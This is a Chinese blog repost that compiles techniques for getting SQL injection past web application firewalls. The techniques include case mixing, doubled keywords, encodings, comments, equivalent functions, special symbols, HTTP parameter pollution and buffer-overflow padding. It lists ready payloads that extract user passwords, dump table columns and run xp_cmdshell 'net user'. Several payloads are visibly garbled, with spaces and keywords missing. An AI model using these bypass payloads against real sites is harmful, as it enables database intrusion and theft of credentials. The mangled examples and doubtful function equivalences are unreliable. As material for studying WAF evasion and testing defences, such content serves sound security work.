vlambda博客
学习文章列表

SQL注入绕过waf的方法总结

一、前言

目前的SQL注入绕过的文章,在网上零零散散的分布。近日,我从网上总结了一些SQL注入常用的方法。从初级到高级包含9大类技巧。

二、绕过waf的方法

①关键字大小写混合

②关键字替换

③使用编码

④使用注释

⑤等价的函数和命令

⑥使用特殊符号

⑦HTTP参数控制

⑧缓冲区溢出

⑨整合绕过


2.1关键字大小写混合

关键字大小写混合只针对于小写或大写的关键字匹配技术-正则表达式,如果在匹配时大小写不敏感的话,就无法绕过。这是最简单的一个绕过技术。

例如:将union select混写成UiNon SelEct


2.2关键字替换

这种情况是某些函数方法或者正则表达式会替换或删除其中的关键字,例如union、select等。在有些情况下,方法会匹配多次。方法很简单,关键是要知道目标匹配几次。

例如:uniunionon匹配一次后就变成了union。

selselectect匹配一次就变成了select。

uniuniuniononon匹配两次的话,也会变成union。


2.3使用编码

2.3.1URL编码

在Chrome中输入一个链接非保留字的字符浏览器会对其URL编码如空格变为 %20、单引号%27、左括号%28、右括号%29等。普通的URL编码可能无法实现绕过不过存在某种情况URL编码只进行了一次解码过滤可以用两次编码绕过。

例如:union=%75%6E%69%6F%6E

page.php?id=1UNION  1,2,3,4,SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

示例代码中前者是对单个字符十六进制编码后者则是对整个字符串编码对整个字符串编码相对来说较少见一点。

2.3.2Unicode编码

Unicode有所谓的标准编码和非标准编码假设我们用的utf-8为标准编码那么西欧语系所使用的就是非标准编码了。

看一下常用的几个符号的一些Unicode编码


单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07

空格:%u0020、%uff00

左括号:%u0028、%uff08

右括号:%u0029、%uff09


例如:?id=10%df\'%u0020AND 1=2#

SELECT 'Ä'='A'; #1


两个示例中,前者利用双字节绕过,比如对单引号转义操作变成\',那么就变成了�\',�\构成了一个宽字节即Unicode字节,单引号可以正常使用。这也就是宽字节注入。

第二个示例使用的是两种不同编码的字符的比较,它们比较的结果可能是True或者False,关键在于Unicode编码种类繁多,基于黑名单的过滤器无法处理所以情况,从而实现绕过。

另外平时听得多一点的可能是utf-7的绕过,还有utf-16、utf-32的绕过,后者从成功的实现对google的绕过,有兴趣的朋友可以去了解下。常见的编码当然还有二进制、八进制,它们不一定都派得上用场,但后面会提到使用二进制的例子。


2.4使用注释

常用的注释符号://、--+、--  (这里有一个空格)、#、-- -、;--a

2.4.1普通注释

在构造的查询语句中插入注释规避对空格的依赖或关键字识别#、--+用于终结语句的查询

例如:?id=15 or 1=1#

2.4.2内联注释

相比普通注释内联注释用的更多/!content/只有MySQL会正常识别content的内容

例如:?id=-15 /*!union*/ /*!select*/ 1,2,3--+

两个示例中前者使用内联注释后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分要做到这一点后面讨论的特殊符号也能实现当然前提是包括/、*在内的这些字符能正常使用。


2.5等价函数或命令

有些函数或命令因其关键字被检测出来而无法使用但是在很多情况下可以使用与之等价或类似的代码替代其使用

2.5.1函数或变量

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

例如substring()和substr()无法使用时:

?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))

2.5.2符号

"and"==>"&&"或"&"

"or"==>"||"

"not"==>"!"

"="==>"<>"或"like"或"rlike"

" "==>"/**/"或"TAB键"或"回车键"或"%A0"

2.5.3生僻函数

MySQL/PostgreSQL支持XML函数。MySQL、PostgreSQL、Oracle它们都有许多自己的函数基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能而且代价太大因此黑名单的确是更适合处理已知的情况。


2.6使用特殊符号

这里我把非字母数字的字符都规在了特殊符号一类这些符号有特殊的含义和用法涉及信息量比前面提到的几种都要多。

先看下drops上waf的绕过技巧一文使用的几个例子

1.使用反引号`,例如select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用

2.神奇的"-+.",select+id-1+1.from users; “+”是用于字符串连接的,"-"和"."在此也用于连接,可以逃过空格和关键字过滤

3.@符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量

4.Mysql function() as xxx  也可不用as和空格   select-count(id)test from users;  //绕过空格限制

可见使用这些字符的确是能做很多事也证实了那句老话只有想不到没有做不到

 笔者搜罗了部分可能发挥大作用的字符(这里未包括'、*、/等在内考虑到前面已经出现较多次了)`、~、!、@、%、()、[]、.、-、+ 、|

例如:关键字拆分


'se'+'lec'+'t'

%S%E%L%E%C%T 1

1.aspx?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell "net user"')

 

!和()' or --+2=- -!!!'2

id=1+(UnI)(oN)+(SeL)(EcT)


有看到说Access中,”[]”用于表和列,”()”用于数值也可以做分隔

> > , <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN

使用这些"特殊符号"实现绕过是一件很细微的事情一方面各数据库对符号的处理是不尽相同的另一方面你得充分了解这些符号的特性和使用方法才能会考虑利用其实现绕过


2.7HTTP参数控制

这里HTTP参数控制除了对查询语句的参数进行篡改还包括HTTP方法、HTTP头的控制

2.7.1HPP(HTTP Parameter Polution)

例如:/?id=1;select+1&id=2,3+from+users+where+id=1—

/?id=1unionselectpwdfromusers

HPP又称做重复参数污染最简单的就是?uid=1&uid=2&uid=3对于这种情况不同的Web服务器处理方式如下

2.7.2HPF(HTTP Parameter Fragment)

这种方法是HTTP分割注入同CRLF略有相似之处(使用控制字符 、 等换行)

例如:/?a=1+unionselect+1,passfrom+users--+

select * from table where a=1 unionselect 1,passfrom users--+

看完上面两个示例发现和HPP最后一个示例很像不同之处在于参数不一样这里是在不同的参数之间进行分割结果到了数据库执行查询时再合并语句。

2.7.3HPC(HTTP Parameter Contamination)

这一概念见于"https://www.exploit-db.com/papers/17934"这里Contamination意为污染

RFC2396定义了如下一些字符

Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()  

Reserved : ; / ? : @ & = + $ ,  

Unwise : { } | \ ^ [ ] `

不同的Web服务器处理处理构造的特殊请求时有不同的逻辑。


2.8缓冲区溢出

缓冲区溢出用于对付WAF在内的软件本身有不少WAF是C语言写的而C语言自身没有缓冲区保护机制因此如果WAF在处理测试向量时超出了其缓冲区长度就会引发bug从而实现绕过

例如:

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

示例0xA*1000指0xA后面”A"重复1000次一般来说对应用软件构成缓冲区溢出都需要较大的测试长度这里1000只做参考也许在有些情况下可能不需要这么长也能溢出。


2.9整合绕过

整合的意思是结合使用前面谈到的各种绕过技术单一的技术可能无法绕过过滤机制但是多种技术的配合使用成功的可能性就会增加不少了。这一方面来说关系到总体与局部和另一方面则是多种技术的使用创造了更多的可能性组合除非每一种技术单独都无法使用否则它们能产生比自身大得多的能量。

例如:

z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+++1,2,3,4…

id=1+SeLeCT+1,2,concat()+FrOM .tables ++like+database()--+

?id=-725+++1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--+


三、总结

个人觉得能不能巧妙地绕过waf,全凭个人的脑洞开的够不够大。最主要的还是,多看多学多练。

原文链接:

https://www.cnblogs.com/zqjt2/p/5600951.html


万水千山总是情,点赞再走行不行的(ง •_•)ง